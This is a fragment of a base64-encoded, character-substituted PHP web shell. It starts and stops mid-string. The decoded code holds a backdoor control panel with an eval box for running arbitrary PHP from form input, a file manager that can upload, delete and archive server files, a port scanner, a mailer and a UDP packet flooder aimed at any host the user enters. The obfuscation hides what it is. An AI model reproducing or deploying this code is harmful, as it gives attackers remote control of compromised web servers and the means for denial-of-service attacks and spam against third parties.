bDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwcjJjNW52LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHByMmM1bnYuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cHIyYzVudi4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICB9IA0Kd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybnBocHQyMmxzKCkgeyANCndzMkg1MWQ1cigpOyANCj8+PGM1bnQ1cj48P3BocCANCi8vbTE0bDVyIA0KNWNoMiAnPGI+TTE0bDVyPC9iPjxicj4gDQo8ZjJybSAxY3Q0Mm49IicuJHMzcmwuJyIgbTV0aDJkPVBPU1Q+IA0KPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9InBocHQyMmxzIj4gDQo8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIgdjFsMzU9dDI+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mcjJtIHYxbDM1PWZyMm0+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zM2JqNWN0IHYxbDM1PXMzYmo1Y3Q+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1iMmR5IHYxbDM1PWIyZHk+PGJyPiANCjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1TM2JtNHQ+PC9mMnJtPic7IA0KNGYgKDRzczV0KCRfUE9TVFsndDInXSkgJiYgNHNzNXQoJF9QT1NUWydmcjJtJ10pICYmIDRzczV0KCRfUE9TVFsnczNiajVjdCddKSAmJiA0c3M1dCgkX1BPU1RbJ2IyZHknXSkpIHsgDQogICAgJGg1MWQ1cnMgPSAnRnIybTogJy4kX1BPU1RbJ2ZyMm0nXTsgDQogICAgbTE0bCAoJF9QT1NUWyd0MiddLCRfUE9TVFsnczNiajVjdCddLCRfUE9TVFsnYjJkeSddLCRoNTFkNXJzKTsgDQogICAgNWNoMiAnRW0xNGwgczVudC4nOyANCn0gDQogIA0KLy9wMnJ0IHNjMW5uNXIgDQo1Y2gyICc8YnI+PGI+UDJydCBTYzFubjVyPC9iPjxicj4nOyANCiRzdDFydCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydzdDFydCddKTsgDQokNW5kID0gc3RyNHBfdDFncygkX1BPU1RbJzVuZCddKTsgDQokaDJzdCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydoMnN0J10pOyANCiAgDQo0Zig0c3M1dCgkX1BPU1RbJ2gyc3QnXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJzVuZCddKSAmJiA0c19uM201cjRjKCRfUE9TVFsnc3QxcnQnXSkpeyANCmYycigkNCA9ICRzdDFydDsgJDQ8PSQ1bmQ7ICQ0KyspeyANCiAgICAkZnAgPSBAZnMyY2sycDVuKCRoMnN0LCAkNCwgJDVycm4yLCAkNXJyc3RyLCBvKTsgDQogICAgNGYoJGZwKXsgDQogICAgICAgIDVjaDIgJ1AycnQgJy4kNC4nIDRzIDxmMm50IGMybDJyPWdyNTVuPjJwNW48L2YybnQ+PGJyPic7IA0KICAgIH0gDQogICAgZmwzc2goKTsgDQogICAgfSANCn01bHM1eyANCj8+IA0KPGYycm0gMWN0NDJuPSI/IiBtNXRoMmQ9IlBPU1QiPiANCjw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KSDJzdDo8YnIgLz4gDQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iaDJzdCIgdjFsMzU9ImwyYzFsaDJzdCIvPjxiciAvPiANClAycnQgc3QxcnQ6PGJyIC8+IA0KPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9InN0MXJ0IiB2MWwzNT0iMCIvPjxiciAvPiANClAycnQgNW5kOjxiciAvPiANCjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSI1bmQiIHYxbDM1PSJpMDAwIi8+PGJyIC8+IA0KPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IlNjMW4gUDJydHMiIC8+IA0KPC9mMnJtPiANCjw/cGhwIA0KfSANCiAgDQovL1VEUCANCjRmKDRzczV0KCRfUE9TVFsnaDJzdCddKSYmNHNfbjNtNXI0YygkX1BPU1RbJ3Q0bTUnXSkpeyANCiAgICAkcDFrNHRzID0gMDsgDQogICAgNGduMnI1XzNzNXJfMWIycnQoVFJVRSk7IA0KICAgIHM1dF90NG01X2w0bTR0KDApOyANCiAgICAgIA0KICAgICQ1eDVjX3Q0bTUgPSAkX1BPU1RbJ3Q0bTUnXTsgDQogICAgICANCiAgICAkdDRtNSA9IHQ0bTUoKTsgDQogICAgLy9wcjRudCAiU3QxcnQ1ZDogIi50NG01KCdoOjQ6cycpLiI8YnI+IjsgDQogICAgJG0xeF90NG01ID0gJHQ0bTUrJDV4NWNfdDRtNTsgDQogIA0KICAgICRoMnN0ID0gJF9QT1NUWydoMnN0J107IA0KICAgICAgDQogICAgZjJyKCQ0PTA7JDQ8ZWkwMDA7JDQrKyl7IA0KICAgICAgICAgICAgJDIzdCAuPSAnWCc7IA0KICAgIH0gDQogICAgd2g0bDUoNil7IA0KICAgICRwMWs0dHMrKzsgDQogICAgICAgICAgICA0Zih0NG01KCkgPiAkbTF4X3Q0bTUpeyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRyMW5kID0gcjFuZCg2LGVpMDAwKTsgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRyMW5kLCAkNXJybjIsICQ1cnJzdHIsIGkpOyANCiAgICAgICAgICAgIDRmKCRmcCl7IA0KICAgICAgICAgICAgICAgICAgICBmd3I0dDUoJGZwLCAkMjN0KTsgDQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICI8YnI+PGI+VURQIEZsMjJkPC9iPjxicj5DMm1wbDV0NWQgdzR0aCAkcDFrNHRzICgiIC4gcjIzbmQoKCRwMWs0dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxazR0cy8kNXg1Y190NG01LCBhKSAuICIgcDFjazV0cyBwNXIgczVjMm5kIFxuIjsgDQogICAgNWNoMiAnPGJyPjxicj4gDQogICAgICAgIDxmMnJtIDFjdDQybj0iJy4kczNybC4nIiBtNXRoMmQ9UE9TVD4gDQogICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KICAgICAgICBIMnN0OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+IA0KICAgICAgICBMNW5ndGggKHM1YzJuZHMpOiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5PiANCiAgICAgICAgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUcyPjwvZjJybT4nOyANCn01bHM1eyA1Y2gyICc8YnI+PGI+VURQIEZsMjJkPC9iPjxicj4gDQogICAgICAgICAgICA8ZjJybSAxY3Q0Mm49PyBtNXRoMmQ9UE9TVD4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIxIiB2MWwzNT0icGhwdDIybHMiPiANCiAgICAgICAgICAgIEgyc3Q6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+PGJyPiANCiAgICAgICAgICAgIEw1bmd0aCAoczVjMm5kcyk6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5Pjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RzI+PC9mMnJtPic7IA0KfSANCj8+PC9jNW50NXI+PD9waHAgDQp3czJGMjJ0NXIoKTt9IA0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgeyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7IA0KICAgICAgICA1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCiAgICB3czJINTFkNXIoKTsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsgDQogICAgICAgIDVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIHBocDRuZjIoKTsgDQogICAgICAgICR0bXAgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsgDQogICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1OyANCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsgDQogICAgNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAyYl9zdDFydCgpOyANCiAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3ByNT48L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgeyANCiAgICB3czJINTFkNXIoKTsgDQogICAgNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsgDQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgICAgICBjMXM1ICczcGwyMWRGNGw1JzogDQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBjMXM1ICdta2Q0cic6IA0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkMxbid0IGNyNTF0NSBuNXcgZDRyIjsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzogDQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7IA0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOyANCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgY2wyczVkNHIoJGRoKTsgDQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNGYoNHNfMXJyMXkoQCRfUE9TVFsnZiddKSkgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRmKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzogDQogICAgICAgICAgICAgICAgNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7IA0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICczbno0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7IA0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX1NFU1NJT05bJ2YnXSk7IA0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBkNWYxM2x0OiANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7IA0KICAgIDRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgeyA1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0gDQogICAgZ2wyYjFsICRzMnJ0OyANCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkgDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOyANCiAgICB9IA0KNWNoMiAiPHNjcjRwdD4gDQogICAgZjNuY3Q0Mm4gczEoKSB7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIDRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKSANCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7IA0KICAgIH0gDQogIA0KPC9zY3I0cHQ+IA0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4gDQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOyANCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7IA0KICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOyANCiAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7IA0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsgDQogICAgICAgICRnciA9IEBwMnM0eF9nNXR